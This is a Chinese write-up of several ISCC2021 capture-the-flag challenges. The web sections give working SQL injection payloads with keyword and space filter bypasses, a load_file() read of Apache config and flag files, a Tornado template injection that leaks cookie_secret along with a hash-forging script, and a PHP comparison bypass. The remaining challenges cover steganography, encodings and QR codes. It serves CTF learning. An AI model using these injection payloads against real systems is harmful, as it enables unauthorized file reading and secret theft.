文章目录


练武

easyweb

很明显,本题需要进行sql注入但是并不知道注入点

经过测试,判断注入点为:​​’​​ 闭合符号用%23代替ISCC2021-部分题目再现_web

在后面测试发现空格被过滤了,我们可以使用​​%0d​​进行绕过

尝试使用联合查询发现​​union,select​​,尝试使用双写进行绕过

payload

​?id=0'%0dununionion%0dselselectect%0d1,2,3%23​ISCC2021-部分题目再现_数据库_02

得到显示位

根据一贯风格,爆数据库名

?id=0'%0dununionion%0dselselectect%0d1,database(),3%23

ISCC2021-部分题目再现_web_03

然后是爆表名,经过测试发现​​from、information_schema​​同样也被过滤了

1、from 则可以尝试进行双写或者大写转换等进行绕过
2、information_schema的话则可以尝试同类型进行转换,查看版本,5.7.33,存在sys数据库,所以可以利用sys数据库查出表名

ISCC2021-部分题目再现_php_04

构造payload

​?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_table_statistics_with_buffer),3%0d%23​

ISCC2021-部分题目再现_二维码_05

得到表名

判断列数

​?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dgroup_concat(table_name)%0dFROM%0dsys.schema_auto_increment_columns),3%0d%23​ISCC2021-部分题目再现_php_06

表名都是iscc_flag

盲猜列名是:flag

构造payload

?id=0'%0dununionion%0dselselectect%0d1,(selselectect%0dflag%0dfrom%0discc_flag),3%0d%23

ISCC2021-部分题目再现_web_07

进入该页面得到源码进行分析

`<?php

if(isset($_GET[‘c’])){

c = c= c=_GET[‘c’];

if(preg_match("/[zxcvbMnlkjhgfsaoiuytreq]+|[ZXCVBNLKKJHGFSAOIUYTREQ]+|[0123456789]+|\(|\/|\*|\-|\+|\.|\{|\}|\[|\]|\'|\"|\?|\>|\<|\,|\)|\(|\&|\^|\%|\#|\@|\!/", $c)){
exit("die!!");
}else{
echo `$c`;
}

}else{

highlight_file(FILE);

}

?>

`

似乎没什么发现,26个英文字母表对比一下上述的英文字符​​zxcvbMnlkjhgfsaoiuytreq​

发现没被过滤的字母有​​dmpw​​,执行pwd获取文件路径,

获取flag位置,使用load_file()方法

​?id=0'%0dununionion%0dseselectlect%0d1,(load_file('/var/www/const/flllllllllaaag.php')),3%0d%23​

ISCC2021-部分题目再现_php_08

或者是

​?id=-1'%0duniunionon%0dselselectect%0d1,(load_file('/etc/apache2/sites-available/000-default.conf')),3%23 //此路径为默认​

获取网站路径

ISCC2021-部分题目再现_php_09

在源代码中查看flagISCC2021-部分题目再现_数据库_10

tornado

ISCC2021-部分题目再现_web_11

进入三个路径的文件,发现flag.txt中flag在/fllllllllllllaaaaaag中;

welcome.txt中提示​​render函数​​,百度一下存在render函数的模板注入;

hints.txt告诉我们​​md5(cookie_secret+md5(filename))​​ 发现我们需要进行md5

查看hints.txt的路径

http://39.96.91.106:7060/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15

有filehash参数,根据所给出的提示filehasc的值是MD5处理,有了filehash还需要有cookie_secret这一步可以参考之前的题型​

构造payload

error?msg={{handler.settings}}

ISCC2021-部分题目再现_表名_12

得到cookie_secret,计算hash值

拿到大佬脚本

import hashlib


def md5encode(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()


name = '/fllllllllllllaaaaaag'
secret = 'ef57c331-744f-4528-b434-9746317d4f6a'
name = name.encode()
bb = md5encode((secret + md5encode(name)).encode())
print(bb)

ISCC2021-部分题目再现_数据库_13

李华的红包

ISCC2021-部分题目再现_二维码_14

010Editor打开ISCC2021-部分题目再现_web_15

24,43,13,13,12,21,43

尝试了一下,有点像敲击码ISCC2021-部分题目再现_数据库_16

最后得到flag:​​ISCCBFS​

海市蜃楼-1

打开文档没什么有用的东西,把文档改成zip形式

ISCC2021-部分题目再现_表名_17

点进去查找flagISCC2021-部分题目再现_数据库_18

美人计

打开文件,一张图片格式找到提示信息

ISCC2021-部分题目再现_表名_19

很显然这是AES加密,密匙是ISCC2021

打开文档里面有一张二维码,扫描得到信息

U2FsdGVkX1/Ka+sScszwQkwhO+VLiJwV/6IFg5W+TfNHGxG2qZsIr2iwMwb9X9Iu 3GuGWmPOtO27z8vNppD2D50fwsD+8VWhdtW9J4cewYivH/Z/7GoUvcJXJMrvf+vu +CBqWDGp6HWd0e5whGhuzlK0ZtBcDZdPDSIHA7+GuUlifp8PcFCtJPgiuk143REE +pKFiSJXolXLR1vJCdGY9w5mXFbiWPrb2U7r/v5noP8=

进行三次解密得到字符:​​y0u_h@ve_fal1en_intO_tHe_tr@p_0f_tHe_be@uty_!​

很是让人头大!!

试着将word文档改为压缩包,在ny4w1nbmry4m.zip\word\media中看到了两张image

其中一个就是那张二维码,还有另一张二维码,扫描出结果是

U2FsdGVkX19eOY/pDh8+vPAcvfkLi1XLUneVzjLLOMul53sKK8UpobdCOiPIv4KE

ISCC2021-部分题目再现_web_20

但是,进行AES解密失败,所以尝试了DES,即可得到flagISCC2021-部分题目再现_php_21

我的折扣是多少

下载好文件后,运行exe文件得到一串编码ISCC2021-部分题目再现_php_22

​pass1{\u006b\u0072\u0077}​​,Unicode编码,解码后为​​pass1{krw}​

在010Editor打开压缩包在尾部发现ISCC2021-部分题目再现_表名_23

cGFzczJ7Z2NjNjY2fQ==

进行base64编码得到:pass2{gcc666}

组合起来用密码:krwgcc666解开压缩包ISCC2021-部分题目再现_php_24

eW91Zm91bmRtZT8=

base64解出来是:youfoundme?

接下来还剩一个MP3格式的文件MP3一般都是用MP3stego解密,接出来密码是youfoundme?

得到​​ISCC{LFXXK4TENFZWG33VNZ2DELRRGU======}​

进行base32解密

ISCC2021-部分题目再现_数据库_25

检查一下

解压后是一张图片,尝试进行binwalk进行分离ISCC2021-部分题目再现_web_26

解压后的文件,发现有一个文档打开后01的字符串ISCC2021-部分题目再现_php_27

联想到是01字符串画二维码

先看下字符串长度发现是841,而正好是29的平方,那应该就是二维码了

from PIL import Image
MAX = 29 #宽高 841个01字符串,所以宽和高是29
pic = Image.new("RGB",(MAX, MAX))
#若是(255,255,255)、(0,0,0)需要先转换01
str = "1111111000100100110000111111110000010011011110010101000001101110100111010011010010111011011101000000111011110101110110111010010111101110001011101100000101110111000010010000011111111010101010101010111111100000000011100100110100000000100101101110000101010101000001101000011101011011011100101000001110010010001111011110010001100000101101100111111001010110101101110000100011110100110001001100010010101110000111111111110010100110101001111110010110001100110111110111000110011110010001111001110000100011010000110100100000001011001010101101110100011011010011100011101001111011111000101001101101101100101010001111101000000000011101101101010001011011111110000011110000101011010100000101011110010101000101101011101001010011001011111001010111010110101111000001101001101110100101010000010100111011000001000011101000011001001011111110100100100000111100110"
i=0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
pic.putpixel([x,y],(0, 0, 0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("./flag.png")

得到二维码扫描

ISCC2021-部分题目再现_二维码_28

小明的宠物图

下载后是一张图片ISCC2021-部分题目再现_web_29

用binwalk分离图片得到flag.txt和key.zip

flag.txt中内容为​​U2FsdGVkX18kNy7RlBvcV9WJsqa+oxvdd0Ir86U2cU2996N6ltZi7VVOaw==​

显然需要密钥解密ISCC2021-部分题目再现_表名_30

打开key.zip发现其中的key.txt只有5字节大小,结合那个兔子说的它需要碰撞应该是crc32碰撞,尝试发现(0_0)为密钥ISCC2021-部分题目再现_web_31

小明的表情包

ISCC2021-部分题目再现_二维码_32

可以看到这是凯撒解密,但是偏移量是未知的,通过枚举:发现偏移量为:13时是英文日期,加上提示,年月日可以想到1999,但是月份和日期没有,都是数字,字节为8位可以使用Ziperello进行爆破

ISCC2021-部分题目再现_数据库_33

ISCC2021-部分题目再现_二维码_34

得到密码:07071999

然后打开文件时不支持的,所以在winhex中查看,发现它的文件头缺失了,然后补充好,得到图片ISCC2021-部分题目再现_web_35

擂台

ISCC客服冲冲冲(一)

ISCC2021-部分题目再现_web_36

可以直接进行改票,但是会被检测到刷票行为

ISCC2021-部分题目再现_二维码_37

既然不发进行刷票,那就直接把对方的投票按钮给他关闭!

我们可以通过火狐浏览器F12进入开发者模式,对源码进行修改直接讲对方的投票按钮删除????

ISCC2021-部分题目再现_php_38

ISCC2021-部分题目再现_web_39

可以看到对方以及在五六十票左右,因此我们需要进入后快速开发者模式,修改后在20s内点到票数超过对方就好了

ISCC2021-部分题目再现_php_40

这是啥

查看源码,发现这是一段JS代码,直接复制代码放到控制台运行

ISCC2021-部分题目再现_二维码_41

ISCC2021-部分题目再现_二维码_42

Web01

根据提示进去看一下

ISCC2021-部分题目再现_php_43

ISCC2021-部分题目再现_数据库_44

这倔强的小脾气,摆明让我们进去看看????????

​39.96.91.106:7040/code/code.txt​

<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {

if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';

}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{

if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

对源码进行审计后发现了出题人的小秘密ISCC2021-部分题目再现_二维码_45

可以看到要求输入的密码必须小于八位并且数值大于9999999并且最后要加上​​*-*​

根据科学计数法1e9=1000000000> 9999999

因此构造

payload:1e9*-*